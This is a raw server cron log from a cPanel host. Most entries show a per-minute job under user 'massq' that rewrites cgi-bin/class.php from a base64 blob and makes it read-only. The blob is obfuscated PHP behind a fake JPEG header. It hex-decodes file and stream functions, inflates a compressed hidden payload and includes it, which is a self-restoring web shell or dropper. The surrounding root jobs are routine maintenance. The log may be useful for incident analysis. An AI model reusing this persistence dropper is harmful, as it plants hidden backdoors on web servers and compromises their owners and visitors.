Nov 14 16:04:01 server CROND[20891]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:05:01 server CROND[21682]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:05:01 server CROND[21683]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 16:05:01 server CROND[21685]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 16:05:01 server CROND[21684]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 16:06:01 server CROND[22696]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:07:01 server CROND[23590]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:08:01 server CROND[24459]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:09:01 server CROND[25295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:09:01 server CROND[25296]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 16:10:01 server CROND[25910]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 16:10:01 server CROND[25912]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 16:10:01 server CROND[25913]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 16:10:01 server CROND[25915]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:11:01 server CROND[26813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:12:01 server CROND[27673]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 16:12:01 server CROND[27672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:13:01 server CROND[28598]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:14:01 server CROND[29159]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:15:01 server CROND[29898]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 16:15:01 server CROND[29899]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 14 16:15:01 server CROND[29900]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:15:01 server CROND[29901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 16:16:01 server CROND[30899]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
